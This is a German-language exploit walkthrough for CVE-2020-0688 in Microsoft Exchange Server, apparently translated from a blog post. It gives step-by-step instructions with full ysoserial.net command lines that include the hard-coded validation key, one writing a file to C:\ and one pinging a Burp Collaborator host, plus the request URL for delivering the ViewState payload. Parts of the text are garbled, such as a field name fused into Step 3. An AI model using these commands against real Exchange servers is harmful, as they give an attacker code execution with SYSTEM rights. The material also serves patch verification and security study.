
[CVE-2020-0688] Microsoft Exchange Server Remotecodeausführung (RCE) durch festen kryptografischen Schlüssel
[CVE-2020-0688] Microsoft Exchange Server - Remote-Codeausführung (RCE) durch feste kryptografische Schlüssel
Anstatt installationsspezifisch zufällig generierte Schlüssel zu verwenden, haben alle Installationen von Microsoft Exchange Server dieselben validationKey- und decryptionKey-Werte in der web.config. Somit kann ein authentifizierter Angreifer den Server dazu verleiten, bösartig erstellte ViewState-Daten zu deserialisieren. Mit Hilfe von YSoSerial.net kann ein Angreifer beliebigen .NET-Code auf dem Server im Kontext der Exchange Control Panel (ECP)-Webanwendung ausführen, die mit SYSTEM-Berechtigungen läuft.
Schritt 1: Besuchen Sie einen der folgenden Endpunkte und rufen Sie die Authentifizierungsseite auf
Schritt 2: Melden Sie sich mit Anmeldeinformationen an (unabhängig von Benutzerkontoberechtigungen) und erhalten Sie gültige ASP_NET_SessionId- und -Werte aus dem HTTP-Antwort-Cookie bzw. dem HTTP-Antwort-Body. Zum Beispiel
__VIEWSTATEGENERATORSchritt 3: Um das Payload zu generieren (um die Schwachstelle zu überprüfen), verwenden Sie YSoSerial.net
Beachten Sie, dass Sie bei Zugriff auf den betroffenen Exchange-Server das folgende Payload verwenden können, das eine Textdatei mit dem Namen PoC.txt im Verzeichnis C:\ erstellt
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Falls Sie jedoch keinen Zugriff auf den Server haben, ist möglicherweise Folgendes besser geeignet.
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Schritt 4: Nach Schritt 4 haben wir ein URL-kodiertes ViewState-Payload. Führen Sie eine GET-Anfrage an den folgenden Endpunkt im folgenden Format durch
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>
Der originale Blogbeitrag ist hier verfügbar.